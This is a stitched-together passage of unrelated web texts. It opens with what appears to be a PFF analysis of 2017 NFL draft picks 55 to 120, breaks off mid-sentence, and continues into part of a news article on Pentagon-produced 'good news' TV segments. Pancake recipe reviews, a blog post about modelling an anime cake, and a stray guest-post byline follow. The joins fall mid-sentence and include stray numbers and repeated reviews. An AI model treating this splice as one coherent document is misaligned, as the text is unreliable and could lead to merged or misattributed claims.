[Trade details: Broncos receive Round 2 pick (No. 55 overall) and Round 6 pick (No. 206 overall), Giants receive Round 2 pick (No. 51 overall)]
Gerald Everett, TE, South Alabama
The Broncos need to surround their young quarterbacks with dynamic receiving weapons, and that’s exactly what they’ll get with Everett. He’s a bit raw, but he offers a ton with his physical tools and athletic ability, and showed some impressive after-the-catch ability. His 24 missed tackles forced led all TEs in 2016, as did his 22 in 2015. — Bryson Vesnaver, @PFF_Bryson
56. Oakland Raiders
Joe Mixon, RB, Oklahoma
The Raiders aren’t excusing Mixon’s past; rather, they’re giving him a second chance. The Oklahoma back comes home to the Bay Area in what will surely be a controversial pick. He has as much talent as any RB in the draft, though, and immediately brings a dimension to the Raiders that they didn’t have a season ago. — Mike Renner, @PFF_Mike
57. TRADE: Detroit Lions from Houston Texans
[Trade details: Lions receive Round 2 pick (No. 57 overall) and Round 5 pick (No. 168 overall), Texans receive Round 2 pick (No. 53 overall)]
Jabrill Peppers, S, Michigan
This is an appropriate value here for a player that may take some time to find a home on defense, but will immediately be a top-five return specialist. He notched 30 defensive stops and 18 QB pressures last season, and tied with USC’s Adoree’ Jackson as the highest-graded returner in the country. — Josh Liskiewitz, @PFF_Josh
58. Seattle Seahawks
Rasul Douglas, CB, West Virginia
Cornerback is a need for the Seahawks regardless of whether Richard Sherman stays around, and here they pick a player who has the prototypical height and length that Seattle covets in its CBs. Douglas will need to work on his press technique at the NFL level, but brings with him superb ball skills, leading all CBs in this draft class with eight interceptions in 2016. — Harley Sherman, @PFF_Harley
59. Kansas City Chiefs
Vincent Taylor, DI, Oklahoma State
The Chiefs get a possible replacement for Dontari Poe in Taylor, who recorded 43 total QB pressures in 2016, tying him for 11th-most among interior defensive lineman. He had struggles with double-teams, but Chris Jones should help by taking some of those from Taylor. — Mark Harrington, @PFF_Mark
60. Dallas Cowboys
Desmond King, CB, Iowa
Dallas has an obvious need at cornerback, and the front office felt the difference between the No. 6 and No. 15 option was minimal. King posted a passer rating allowed under 50.0 over the last two seasons, permitting only four touchdowns, intercepting 11 targets, and deflecting 20 targeted passes. In addition, King returned 98 combined kickoffs and punts, providing the Cowboys with valuable versatility from their second-round selection. — Wes Huber, @PFF_Wes
61. Green Bay Packers
Quincy Wilson, CB, Florida
The Packers double-dip at corner just like they did in 2015. Even if Damarious Randall and Quinten Rollins both come good, they’ll still need at least one other corner given how often Green Bay plays nickel and dime. Best to take two shots at finding that guy after how inept they were at the position last season. — Mike Renner, @PFF_Mike
62. Pittsburgh Steelers
Shaquill Griffin, CB, UCF
After playing the least amount of man coverage in the NFL a season ago, the Steelers are in need of a player who can allow them to play more press man. Griffin is a tough, physical corner with good ball skills, capable of playing press man and challenging receivers on the outside. He allowed a passer rating of 63.4 when targeted last season. — Zac Robinson, @Zac_Robinson5
63. Atlanta Falcons
Takkarist McKinley, Edge, UCLA
The Falcons got production out of Dwight Freeney, but they need someone who at least situationally can add some explosion to their defensive front. McKinley might not play a huge deal early but can still make an immediate impact in sub package situations opposite Vic Beasley. — Khaled Elsayed, @PFF_Khaled
64. Carolina Panthers from New England Patriots
George Kittle, TE, Iowa
The Panthers use their tight ends extensively with Ed Dickson, a 2018 free agent, playing just shy of 500 snaps in 2016 as their No. 2 TE. Kittle would compete for snaps with Dickson immediately and should be an improvement as a run-blocker over the veteran. The former Hawkeye’s athleticism at the combine was eye-catching and suggests an ability to contribute beyond the 61 targets he was afforded in 2015 and 2016 for Iowa. — Ben Stockwell, @PFF_Ben
65. Cleveland Browns
Kareem Hunt, RB, Toledo
With contract negotiations with RB Isaiah Crowell at a stalemate, the Browns add an elusive three-down back in Toledo’s Kareem Hunt. With 76 forced missed tackles in 2016 and the seventh best elusive rating at 112.4, Hunt possess power, vision, and agility to become an excellent back in the NFL. While he doesn’t have breakaway speed, Hunt has excellent short-area quickness and elite ball security, with just two career fumbles and drops. — John Kosko, @PFF_JohnKosko
66. San Francisco 49ers
Curtis Samuel, RB, Ohio State
Samuel is the definition of an offensive weapon as a player who can line up in the backfield or as a receiver. His 2.76 yards per route run ranked second in this draft class, and with 425 snaps from the slot in 2016. He is the type of player that you just want to get in space and let him cause the opposing defense problems. — Gordon McGuinness, @PFF_Gordon
67. Chicago Bears
Xavier Woods, S, Louisiana Tech
The Bears signed Quintin Demps last month as their starting free safety, but he turns age 32 this summer. Woods has the potential be the long-term successor to Demps, and in the meantime, can see playing time as a slot cornerback, where he has significant experience in man coverage. Over the past three seasons, Woods picked off 14 passes and broke up another 10. — Matt Claassen, @PFF_Matt
68. Jacksonville Jaguars
Trey Hendrickson, Edge, Florida Atlantic
The Jaguars value college production, and Trey Hendrickson’s pass-rushing productivity mark of 20.5 ranks first in the draft class. Hendrickson generated one outside pressure per every 8.1 pass-rushing snaps, which also ranks first in the class. This could prove to be one of the steals of the draft. — Jordan Plocher, @PFF_Jordan
69. Los Angeles Rams
DeMarcus Walker, Edge, Florida State
Walker is a bit of a “tweener” on the defensive line, but he was one of the most productive pass-rushers in the country last season. Walker should be able to contribute immediately as an interior pass-rusher, and could also develop into an early-down edge-setter in base packages. — Kiernan Hogan, @PFF_Kiernan
70. New York Jets
Dede Westbrook, WR, Oklahoma
Off-field issues aside, Westbrook is nothing short of explosive, with the ability to destroy people downfield with his speed. He has strong hands (four drops on 84 catchable throws in 2016) and the ability to play both outside and slot WR. While he will have to add some muscle to better take on press coverage, Westbrook’s body control, willingness to take on contact, and college production (4.08 yards per route run ranked second in draft class) provide the Jets with a playmaker with a lot of upside. — John Gatta, @PFF_JohnGatta
71. Los Angeles Chargers
Chris Wormley, DI, Michigan
The Chargers add an interior pass-rusher to help with transition to a base 4-3. Primarily a defensive end at Michigan, Wormley racked up 13 sacks and 83 total QB pressures over the past two seasons. He projects inside as a 3-tech defensive tackle for the Chargers. — Kevin Connaghan, @PFF_Kev
72. TRADE: Tennessee Titans from New England Patriots via Carolina Panthers
[Trade details: Titans receive Round 3 pick (No. 72 overall) for Round 3 pick (No. 100 overall) and Round 3 pick (No. 103 overall).]
Joe Mathis, Edge, Washington
With Orakpo turning 31 this summer and in the final two years of his contract, it was important for the Titans to tap into this deep edge class. Mathis may not be able to offer much this season, but had he been healthy, PFF likely would have valued him in the late first or early second round. He racked up an impressive 30 total QB pressures in 2016 before injuring his knee in Week 6. — Josh Liskiewitz, @PFF_Josh
73. TRADE: Oakland Raiders from Cincinnati Bengals
[Trade details: Raiders receive Round 3 pick (No. 73 overall) for Round 3 pick (No. 88 overall) and Round 4 pick (No. 129 overall)]
Cooper Kupp, WR, Eastern Washington
The Raiders trade up to round out what will be the NFL’s most explosive offense in 2017. Kupp can step in and contribute in the slot to any passing offense immediately. Grabbing him this late in the draft is a steal. — Mike Renner, @PFF_Mike
74. Baltimore Ravens (from Philadelphia Eagles)
Pat Elflein, C, Ohio State
While Elflein played center in 2016, he graded better at guard (82.8 compared with 80.1) in 2015. With Pocic already in the fold from Round 2, Elflein would be able to showcase his strength at guard. With position versatility in Alex Lewis, who is already on the roster, and the two selections early in this draft, the Ravens should feel pretty good about the youth on their offensive line. — Gordon McGuinness, @PFF_Gordon
75. Buffalo Bills
Corn Elder, CB, Miami
After passing on a CB in Rounds 1 and 2, it was imperative to address the issue before the wait to pick No. 155. Elder was the top cornerback remaining on the draft board, and can step in and be a day-one starter for Coach McDermott’s defense in the slot. Buffalo’s scheme should also afford Elder at least the opportunity to audition for a role on the outside. Elder was quite productive in college (his 0.79 yards allowed per coverage snap ranked 15th among the 79 draft-eligible Power-5 cornerbacks), and he’s impressive in zone coverage, where he shows an ability to quickly process a play in front of him and an ability to react in time to force incompletions. If Elder does kick inside to the slot, one of the benefits is his strong ability against the run; he knows where he’s supposed to be, and is a sound tackler, finishing last season with 66 solo tackles (eighth-most among all cornerbacks) while missing just four. — Billy Moy, @PFF_Billy
76. TRADE: Detroit Lions from New Orleans Saints
[Trade details: Lions receive Round 3 pick (No. 76 overall) and Round 6 pick (No. 196) for Round 3 pick (No. 85), Round 5 pick (No. 164), and Round 5 pick (168).]
Alvin Kamara, RB, Tennessee
Kamara is a great fit in Detroit because not only does he excel at setting up blocks and finding cutback lanes, making him perfect for Detroit’s scheme, but he also brings excellent experience and value in the receiving game. He forced 49 total missed tackles last season (rushing and receiving), finishing sixth in elusive rating among FBS backs with at least 100 combined touches. — Josh Liskiewitz, @PFF_Josh
77. Arizona Cardinals
Zane Gonzalez, K, Arizona State
Mistakes in the kicking game were a big reason for the 2016 Arizona Cardinals failure to make the playoffs. The selection of Zane Gonzalez solidifies the kicking game in Arizona for the next 10 years. Gonzalez was perfect on field goals inside 50-yards last year and routinely kicks touchbacks. — Jordan Plocher, @PFF_Jordan
78. Baltimore Ravens
Chris Godwin, WR, Penn State
On offense, the Ravens need to come out of this draft with two things: offensive linemen to keep Joe Flacco upright, and pass catchers to make plays. Godwin is good at the latter, and what he excels at make him a solid fit for the Ravens. He can outmuscle defenders at the catch point, using his body to keep defensive backs off of him. Had a lot of success downfield in 2016, with 14 receptions for 504 yards and seven touchdowns on throws 20-plus yards downfield. — Gordon McGuinness, @PFF_Gordon
79. Minnesota Vikings
Budda Baker, S, Washington
Minnesota is a team that cycles through a variety of different coverages, and while the Vikings have one safety that can execute that extremely well in Harrison Smith, they have now added a second in Washington prospect Budda Baker. Baker has the ability to excel in Mike Zimmer’s defense and patch up a weak link in the chain. — Sam Monson, @PFF_Sam
80. Indianapolis Colts
Evan Engram, TE, Mississippi
This was a pure value pick, as Engram wasn’t expected to be available at this point. He’s one of the better playmaking offensive weapons in the draft, creating mismatches for defenses with WR-like route running. Engram led all draft class tight ends with 2.59 yards per route and 44 receptions for 685 yards coming out of the slot. — Steve Palazzolo, @PFF_Steve
81. Washington Redskins
Dawuane Smoot, Edge, Illinois
A four-game suspension to OLB Trent Murphy and a disappointing first two seasons from OLB Preston Smith, who generated a pressure percentage of just 8.2 last year, lead to addressing the position opposite starting edge defender Ryan Kerrigan. Smoot’s 52 total QB pressures from the left side ranked third-most in the draft class, and will help a team that struggled on third down last season. — Trevor Lynch, @PFF_Lynch
82. TRADE: Baltimore Ravens from Denver Broncos
[Trade details: Ravens receive Round 1 pick (No. 20 overall) and Round 3 pick (No. 82 overall) for Round 1 pick (No. 16 overall).]
Carlos Henderson, WR, Louisiana Tech
After grabbing a wide receiver at pick 78, the Ravens go back to the well again here. This is a deep wide receiver class and they have a lot of value at this point in the draft. Henderson would be different to the other receivers on the Baltimore roster, and can do serious damage fater the catch after forcing 48 missed tackles in 2016. — Gordon McGuinness, @PFF_Gordon
83. TRADE: Cincinnati Bengals from Tennessee Titans
[Trade details: Bengals receive Round 3 picks (Nos. 83 and 87 overall) and Round 5 pick (No. 163 overall) for Round 2 pick (No. 41 overall)]
Deatrich Wise Jr., Edge, Arkansas
A perfect fit for the Bengals’ defense, Deatrich Wise has length and athleticism to combine with solid production off the edge. He has excellent power, as shown in his ability to win with bull-rushes (second in the class with 28.7 snaps per bull-rush pressure), but there are concerns about a decline in play from 2015 to 2016. With good hand usage and timing, Wise should benefit the Bengals early in his career. — John Kosko, @PFF_JohnKosko
84. Tampa Bay Buccaneers
Derek Rivers, Edge, Youngstown State
Rivers has all the physical tools to develop into a quality edge rusher. Similar to Noah Spence last year, he enters the draft with some raw and underdeveloped technique. The Bucs look for similar success with Rivers, hoping to add some edge pressure opposite Spence. — Bill Douglas, @PFF_Bill
85. TRADE: New Orleans Saints from Detroit Lions
[Trade: Saints receive Round 3 pick (No. 85 overall) and Round 5 picks (Nos. 164 and 168 overall) for Round 3 pick (No. 76 overall) and Round 6 pick (No. 196 overall)]
Bucky Hodges, TE, Virginia Tech
Hodges is more of a project at this point, but the fact that his playing style is similar to Jimmy Graham’s makes him a good fit for the Saints. While his blocking skills need to be developed, Hodges can already be relied upon as a receiver, especially since he played that position in 2016. Furthermore, he finished the year with 12 receptions on deep passes (targets thrown 20-plus yards in the air), which ranked 23rd among wide receivers. — Zoltán Buday, @PFF_Zoltan
86. Minnesota Vikings
Tanzel Smart, DI, Tulane
Minnesota suddenly has a significant hole to fill along the D-line with Sharrif Floyd’s injury reportedly one that could threaten his career. At the minimum, the Vikings could use another presence inside rushing the passer. Smart notched 47 total QB pressures in 2016. — Sam Monson, @PFF_Sam
87. TRADE: Cincinnati Bengals from Tennessee Titans via New York Giants
[Trade details: Bengals receive Round 3 picks (Nos. 83 and 87 overall) and Round 5 pick (No. 163 overall) for Round 2 pick (No. 41 overall)]
Taywan Taylor, WR, Western Kentucky
With the Bengals needing an upgrade at WR opposite of A.J. Green, they opt for the electric Taywan Taylor from Western Kentucky. With elite quickness (6.57-second 3-cone) and the most deep receiving yards (948) in FBS in 2016, Taylor provides a threat at all levels of the defense. — John Kosko, @PFF_JohnKosko
88. TRADE: Cincinnati Bengals from Oakland Raiders
[Trade details: Raiders receive Round 3 pick (No. 73 overall) for Round 3 pick (No. 88 overall) and Round 4 pick (No. 129 overall)]
Chase Roullier, C, Wyoming
The Bengals have major needs on the offensive line, especially at both tackle positions. They opt for an interior chess piece that can play either guard or center. Grading as one of the best guards in the nation in 2015, Roullier made a position switch to center and played well. Allowing just one sack and two hits the past two years combined, Roullier will compete for a starting position at either center or right guard, with Russell Bodine struggling (though improved in 2016) and the departure of Kevin Zeitler in free agency. — John Kosko, @PFF_JohnKosko
89. Houston Texans
Tedric Thompson, S, Colorado
In need of an impact player on the back end of their defense, the Texans grab the nation’s top-graded coverage safety in Colorado’s Tedric Thompson. Opposing QBs had a rating of just 21.3 when targeting Thompson last season, and his superior ball skills helped him rank among the top three in the nation in both interceptions (seven) and pass breakups (seven). — Vinnie Ronca, @PFF_Vinnie
90. TRADE: Philadelphia Eagles from Seattle Seahawks
[Trade details: Eagles receive Round 3 pick (No. 90 overall) for Round 3 pick (No. 99 overall) and Round 6 pick (No. 193 overall)]
Roderick Johnson, OT, Florida State
More help for Carson Wentz, only Roderick Johnson is unlikely to boost the offense a ton in 2017. Selecting a left tackle would be a wise long-term strategy for the Eagles, considering Jason Peters’ age and Lane Johnson’s suspensions. Losing Lane Johnson disrupted Philadelphia’s strong start to the season, as rookie Halapoulivaati Vaitai predictably toiled in his stead. A raw yet imposing prospect, the Eagles would represent the perfect situation for Roderick Johnson, allowing him to sit for a year or two. He has all the physical tools to emerge as a starting NFL left tackle and, at just 21, has plenty of time to work out his minor technical deficiencies. — John Breitenbach, @PFF_John
91. Kansas City Chiefs
Nathan Peterman, QB, Pittsburgh
After failing to land a quarterback earlier in the draft, the Chiefs get a QB ready to step right in as a backup — and a potential replacement for Alex Smith. While his arm is limited, Peterman shows good footwork in the pocket and has a quick release. Peterman had the nation’s second-best passer rating when pressured, at 114.7. — Mark Harrington, @PFF_Mark
92. Dallas Cowboys
Jake Butt, TE, Michigan
Future Hall-of-Fame TE Jason Witten recently signed a four-year extension to remain with Dallas through 2021. However, the impressive TE depth of the 2017 class provides the perfect opportunity to select an heir-apparent to the 34-year-old veteran. Butt joins the Cowboys while recovering from a second right ACL tear that occurred during December’s Orange Bowl appearance. Learning the nuances of functioning in Dallas’ offense directly from Witten will be invaluable, and Butt has already proven himself more than capable of contributing to the passing attack after dropping only seven combined passes during the last three seasons in Ann Arbor. — Wes Huber, @PFF_Wes
93. Green Bay Packers
Blair Brown, LB, Ohio
The Packers finally take a mid-round linebacker with some athleticism. After knocking out cornerback with their first two picks, Green Bay addresses the next biggest need on the defense with PFF’s second-highest-graded linebacker from a season ago. — Mike Renner, @PFF_Mike
94. Pittsburgh Steelers
Chad Hansen, WR, Cal
Hansen is a solid route runner with suddenness out of the cut and a good feel for zones in the passing game. Perhaps his greatest strength is making the downfield contested catch. He was sixth in the nation in 20-plus-yard catches last season. — Zac Robinson, @Zac_Robinson5
95. TRADE: New York Jets from Atlanta Falcons
[Trade details: Jets receive Round 3 pick (No. 95 overall) and Round 5 pick (No. 173) for Round 3 pick (No. 107) and Round 5 picks (Nos. 149 and 154 overall).]
Eddie Jackson, S, Alabama
After watching safeties Budda Baker and Tedric Thompson get picked, Eddie Jackson became a priority. While he may not contribute immediately on defense, the Jets are in need of a dynamic return man, and Jackson is just that. He brought back two punts for TDs and averaged 22.9 yards per return in 2016 (led all FBS player with at least 10 returns). On top of this, Jackson has great hands, the ability to play both man/zone coverage, and the speed/length to play centerfield in the NFL. He has all the tools to become a starting-caliber free safety. — John Gatta, @PFF_JohnGatta
96. New England Patriots
Eddie Vanderdoes, DI, UCLA
Vanderdoes has the skills to be a highly-disruptive interior defender versus the pass and the run. We may have yet to see the best of him if his health can continue to improve after recovering from an ACL tear in 2015. In his college career, he has 50 combined stops, and only three missed tackles. — Louie Benjamin, @PFF_Louie
97. Miami Dolphins (compensatory selection)
Dion Dawkins, G, Temple
Dawkins can come into camp competing with Anthony Steen and newly-acquired Ted Larsen for a starting guard spot. Having posted a 98.4 pass-blocking efficiency at left tackle, Dawkins is a versatile piece at 6-foot-5, 330 pounds, that the Dolphins will find a spot for. — Steve Slowik
98. Carolina Panthers (compensatory selection)
Cameron Sutton, CB, Tennessee
Sutton’s 2014 season (84.1 PFF overall grade, 51.6 passer rating allowed) was his best at Tennessee, but a strong week at the Senior Bowl in both team and individual sessions showed his ability to return to that form. Sutton worked extensively in the slot and at safety during the Senior Bowl, which and took to those positions quickly even though he worked mostly as an outside corner for the Volunteers. — Ben Stockwell, @PFF_Ben
99. Seattle Seahawks from Philadelphia Eagles via Baltimore Ravens (compensatory selection)
[Trade details: Eagles receive Round 3 pick (No. 90 overall) for Round 3 pick (No. 99 overall) and Round 6 pick (No. 193 overall).]
Conor McDermott, OT, UCLA
The Seahawks continue to add to their major need at offensive line with McDermott, a much-needed solid pass protector who also fits Seattle’s zone-heavy rushing attack. His 97.4 pass-blocking efficiency mark ranked 28th among all tackles in the nation in 2016. — Harley Sherman, @PFF_Harley
100. TRADE: New England Patriots from Tennessee Titans via Los Angeles Rams (compensatory selection)
[Trade details: Patriots receive Round 3 picks (No. 100 and No. 103) for Round 3 pick (No. 72).]
Jalen Myrick, CB, Minnesota
Jalen Myrick, who clocked a swift 4.28-40-yard-dash time at the combine, is a player whose grade has improved in each season. He was very productive in coverage in 2016, allowing just 45.1 percent of passes thrown into his coverage to be caught while also breaking up nine passes. He will compete for playing time as a nickel corner for the Patriots and can contribute as a kick returner. — Louie Benjamin, @PFF_Louie
101. Denver Broncos (compensatory selection)
Montravius Adams, DI, Auburn
The biggest weakness on the Broncos’ defense last season was their run defense, particularly up the middle. Adams is a versatile defender who can play all over the interior line and brings a strong run-defense ability to the table, but can also rush the passer. Last year, both his run-defense and pass-rush grades were above 81.0. — Bryson Vesnaver, @PFF_Bryson
102. Baltimore Ravens (from Seattle Seahawks, compensatory selection)
Justin Senior, OT, Mississippi State
It might seem crazy for the Ravens to go with three offensive linemen in the opening three rounds, but with the way the board has fallen at the end of Round 3, it’s a pick that makes sense. A solid fit in a zone scheme, Senior has some work to do to improve his pass protection to be at the NFL level, allowing three sacks, two hits, and 15 hurries in 2016. He would be the Ravens’ top backup at tackle, replacing the struggling James Hurst. — Gordon McGuinness, @PFF_Gordon
103. TRADE: New England Patriots from New Orleans Saints via New England Patriots (compensatory selection)
[Trade details: Patriots receive pick No. 32 overall and Round 3 pick (No. 103 overall), Saints receive CB Malcolm Butler and Round 6 pick (No. 199 overall)]
[Trade details: Patriots receive pick No. 23 overall, Titans receive pick No. 32 overall and Round 3 pick (No. 103 overall)]
Jordan Evans, LB, Oklahoma
Evans is a tremendous athlete. As a true coverage linebacker, his incredible measurables show up on film. He allowed a QB rating of just 64.3 in 2016 while intercepting four passes and breaking up five. — Louie Benjamin, @PFF_Louie
104. Kansas City Chiefs (compensatory selection)
JuJu Smith-Schuster, WR, USC
While not having top-end speed, Smith-Schuster is a physical receiver who is hard to bring down at times, and shows the ability to go and get 50/50 jump balls. After recording nine drops in 2015, he lowered that number to four last season. — Mark Harrington, @PFF_Mark
105. Pittsburgh Steelers (compensatory selection)
Adam Shaheen, TE, Ashland
Shaheen’s unique athleticism for his size gives the Steelers the complete TE they need. He is a physical player with with ability to be a solid inline run blocker, as well as stretch the seams in the passing game. — Zac Robinson, @Zac_Robinson5
106. Seattle Seahawks (compensatory selection)
Jaleel Johnson, DI, Iowa
A versatile pass-rusher who can line up across the formation, Johnson can play at 1-tech on run downs before moving to 3-tech on passing downs. Johnson ranked sixth among defensive tackles in 2016 with 43 total QB pressures and should serve as an upgrade over Ahtyba Rubin and Jarran Reed. — Harley Sherman, @PFF_Harley
107. TRADE: Atlanta Falcons from New York Jets (compensatory selection)
[Trade details: Jets receive Round 3 pick (No. 95 overall) and Round 5 pick (No. 173) for Round 3 pick (No. 107) and Round 5 picks (Nos. 149 and 154 overall).]
Mack Hollins, WR, North Carolina
The Falcons lost deep threat Aldrick Robinson, but Hollins should be good to fill the role he played while contributing on special teams. — Khaled Elsayed, @PFF_Khaled
108. Cleveland Browns
Howard Wilson, CB, Houston
The second CB the Browns take in this loaded draft class is a prospect with solid measurables and impressive coverage numbers. He allowed a passer rating of just 48.3 in his career, notching nine interceptions and 10 passes breakups. Wilson might struggle with the transition to the NFL initially, but has talent and athleticism to develop. — John Kosko, @PFF_JohnKosko
109. San Francisco 49ers
Tanoh Kpassagnon, Edge, Villanova
A physical freak at 6-foot-7 and 289 pounds, Kpassagnon got the attention of teams in the NFL with a big showing at the Senior Bowl. After impressing during one-on-one drills, he racked up a sack, two hits, and a hurry on 18 pass-rushing attempts during the game. — Gordon McGuinness, @PFF_Gordon
110. Jacksonville Jaguars
Antonio Garcia, OT, Troy
The Jaguars are in need of a potential future starter at left tackle, and are lucky to snag Troy’s Antonio Garcia here in the fourth round. Garcia’s pass-protection numbers in 2016 were very impressive, as he didn’t allow a sack and only one QB hit and six pressures on his 506 pass-protection snaps. — Jordan Plocher, @PFF_Jordan
111. Chicago Bears
Jacob Hollister, TE, Wyoming
After having missed out on a more complete tight end in George Kittle with the No. 67 pick, the Bears turn to Hollister instead. Zach Miller is coming off a fairly serious foot injury and turns age 33 this season. Hollister may not be much of an in-line tight due to his lack of strength as a blocker, but he is athletic and a good enough route runner to attack a defense at all three levels. He caught seven of 11 deep targets for 189 yard and three touchdowns in 2016. — Matt Claassen, @PFF_Matt
112. Los Angeles Rams
Danny Isidora, G, Miami
Isidora was one of the highest-graded pass-protecting guards in the country last year, and also ranked as one of the top guards in the run game during the 2014 season. Isidora will join new left tackle Andrew Whitworth as the Rams rebuild an offensive line that graded near the bottom of the league in both team pass-blocking and run-blocking in 2016. — Kiernan Hogan, @PFF_Kiernan
113. Los Angeles Chargers
Isaiah Ford, WR, Virginia Tech
The Chargers have a number of useful receivers, but have also had injury problems at the position, so it doesn’t hurt to add another talented target for QB Philip Rivers. Ford earned PFF receiving grades of 81.3 and 82.5 in 2016 and 2015, respectively. — Kevin Connaghan, @PFF_Kev
114. Washington Redskins from New York Jets
Damontae Kazee, CB, San Diego State
Kazee is better off the ball and lacks the athleticism to hold up one-on-one deep. He makes very quick reads on routes, is a solid tackler, and is very effective in coverage on shorter routes. Ranking among the top 10 CBs in tackling efficiency, he allowed just 2.75 yards after the catch per reception. He can play either inside or outside, depending more on matchup than position, but he should strengthen a Washington cornerback group that struggled in 2016 outside of Josh Norman. — Trevor Lynch, @PFF_Lynch
115. Carolina Panthers
Nathan Gerry, S, Nebraska
Three excellent seasons for the Cornhuskers (80.0 overall grade or better every year) saw Gerry rack up 84 stops (third most in this class since 2014) and 24 pass breakups and interceptions (tied most in this class). Gerry could compete for playing time earlier than you might expect for a fourth-round pick, and his ability to play both the run and pass fits well with how the Panthers deploy their safeties. — Ben Stockwell, @PFF_Ben
116. Cincinnati Bengals
Raekwon McMillan, LB, Ohio State
The former Ohio State standout didn’t show the great coverage ability that his combine numbers would suggest, but he was excellent against the run, and the Bengals rotate their LBs enough to justify a fourth-round pick on a coverage liability. His 85.4 run-defense grade was one of the best in the nation while posting an above-average 11.1 run-stop percentage. — John Kosko, @PFF_JohnKosko
117. Chicago Bears from Buffalo Bills
ArDarius Stewart, WR, Alabama
Stewart works very well against zone defenses and can find and settle in the holes between zones. He has room for improvement as a route runner against tight coverage, where he can’t separate as easily, but is one of the best outside receivers after the catch. His 10.7 yards after catch average was the second-highest mark in the nation among Power-5 wide receivers with at least 20 receptions. — Matt Claassen, @PFF_Matt
118. Philadelphia Eagles
Ejuan Price, Edge, Pittsburgh
Depth is a necessity for a defensive front that requires all-out aggression on every snap. Rotation significantly weakened the unit within games at times in 2016. Price is an older prospect with injury concerns, but his production ranks him toward the top of the class. Although shorter than ideal, Price’s explosion and arc-running refinement make him excellent value in the middle rounds. He joins as the team’s fourth-best edge rusher. — John Breitenbach, @PFF_John
119. Arizona Cardinals
Davis Webb, QB, Cal
Webb is a big prospect at 6-foot-5 and 230 pounds with a very strong arm, and fits what the Cardinals want to do on offense. Coaches rave about his work ethic, and he should be able to pick up the Cardinals’ offense and be ready to go when Carson Palmer decides to hang it up. Webb will need to work on his deep accuracy while backing up Palmer, as he was only accurate on 38.6 percent of his deep passes in 2016. — Jordan Plocher, @PFF_Jordan
120. Minnesota Vikings
D’Onta Foreman, RB, Texas
Signing Latavius Murray is a solid stopgap at the running back position for Minnesota, but |
she said, is to make clear in each segment that the reporter works for the department. In any event, she added, she did not think there was much potential for viewer confusion. "It's pretty clear to me," she said.
The 'Good News' People A Menu of Reports From Military Hot Spots
The Defense Department is working hard to produce and distribute its own news segments for television audiences in the United States.
The Pentagon Channel, available only inside the Defense Department last year, is now being offered to every cable and satellite operator in the United States. Army public affairs specialists, equipped with portable satellite transmitters, are roaming war zones in Afghanistan and Iraq, beaming news reports, raw video and interviews to TV stations in the United States. All a local news director has to do is log on to a military-financed Web site, www.dvidshub.net, browse a menu of segments and request a free satellite feed.
Then there is the Army and Air Force Hometown News Service, a unit of 40 reporters and producers set up to send local stations news segments highlighting the accomplishments of military members.
"We're the 'good news' people," said Larry W. Gilliam, the unit's deputy director.
Each year, the unit films thousands of soldiers sending holiday greetings to their hometowns. Increasingly, the unit also produces news reports that reach large audiences. The 50 stories it filed last year were broadcast 236 times in all, reaching 41 million households in the United States.
The news service makes it easy for local stations to run its segments unedited. Reporters, for example, are never identified by their military titles. "We know if we put a rank on there they're not going to put it on their air," Mr. Gilliam said.
Each account is also specially tailored for local broadcast. A segment sent to a station in Topeka, Kan., would include an interview with a service member from there. If the same report is sent to Oklahoma City, the soldier is switched out for one from Oklahoma City. "We try to make the individual soldier a star in their hometown," Mr. Gilliam said, adding that segments were distributed only to towns and cities selected by the service members interviewed.
Few stations acknowledge the military's role in the segments. "Just tune in and you'll see a minute-and-a-half news piece and it looks just like they went out and did the story," Mr. Gilliam said. The unit, though, makes no attempt to advance any particular political or policy agenda, he said.
Advertisement Continue reading the main story
"We don't editorialize at all," he said.
Yet sometimes the "good news" approach carries political meaning, intended or not. Such was the case after the Abu Ghraib prison scandal surfaced last spring. Although White House officials depicted the abuse of Iraqi detainees as the work of a few rogue soldiers, the case raised serious questions about the training of military police officers.
A short while later, Mr. Gilliam's unit distributed a news segment, sent to 34 stations, that examined the training of prison guards at Fort Leonard Wood in Missouri, where some of the military police officers implicated at Abu Ghraib had been trained.
"One of the most important lessons they learn is to treat prisoners strictly but fairly," the reporter said in the segment, which depicted a regimen emphasizing respect for detainees. A trainer told the reporter that military police officers were taught to "treat others as they would want to be treated." The account made no mention of Abu Ghraib or how the scandal had prompted changes in training at Fort Leonard Wood.
According to Mr. Gilliam, the report was unrelated to any effort by the Defense Department to rebut suggestions of a broad command failure.
"Are you saying that the Pentagon called down and said, 'We need some good publicity?"' he asked. "No, not at all."697
Was using boxed mix but ran out. Pulled up AllRecipes and this was on the front page, so we decided to try the recipe. Followed the recipe as is. They were the best pancakes I've ever had!!...
I followed this recipe exactly and found the pancakes to be salty. I checked and rechecked to make sure it was not a mistake on my part. Maybe unsalted butter next time?
bzbmom 252 3
Was using boxed mix but ran out. Pulled up AllRecipes and this was on the front page, so we decided to try the recipe. Followed the recipe as is. They were the best pancakes I've ever had!!... Read more
Sarah Jo 1 5k
I used lactose-free milk which I soured with two tablespoons of vinegar and I also used melted margerine instead of butter. The reason I made those substitutions was because I have a son with a... Read more
Dal-Pal 68 5
I've tried numerous pancake recipes over the years, but this is the first recipe I've found that truly matches the flavor, fluffy texture, appearance and convenience of a box mix. I'd just abou... Read more
meghan59 31 14
I followed this recipe exactly and found the pancakes to be salty. I checked and rechecked to make sure it was not a mistake on my part. Maybe unsalted butter next time? Read more
Jennifer 37 8
I was really looking forward to these pancakes, I questioned the amount of baking powder, but decided to follow the recipe to a T. The batter in itself was so thick, thicker than cake batter, b... Read more
diningoutd 29 14
This is no joke, I have tried almost every pancake recipe on here and this is the BEST! I tried it exactly as written, delicious. But we like really sweet stuff so I added in a total of 3 tabl... Read more
Baking Nana 2k 999
These are really nice a fluffy. They puff up so beautifully. So easy to make too. I made the recipe as written but next time I might add a teaspoon of vanilla. Enjoy! Read more
Deb C 2k 2k
Perfect pancakes – light and fluffy. I used half the amount of salt (my usual habit) and added blueberries (another habit) for a great morning breakfast. Read moreFirst of all, a big hello to everyone from /r/k_on! Thank you for taking an interest in this project.
Today I was planning to start modelling the cassette player, but although there are some great reference images from the show, I’d like to get some real-world images as well.
Instead, I decided to finally model the centrepiece of the K-ON! clubroom: the cake.
It’s a delicious strawberry shortcake, possibly the most memorable type of cake in the show.
I wouldn’t consider this finished yet: I plan to add cherries and extra decorations to make it even better (not to mention some plates and forks to eat with). Let’s hope Yui can survive until then.
The cake uses simulated subsurface scattering to appear even more realistic (and mouth-watering). Working on this model seriously made me hungry.
Until next time, I’ll be paying a visit to the cake constellation (is there such a thing?).
AdvertisementsGuest Post by Willis Eschenbach
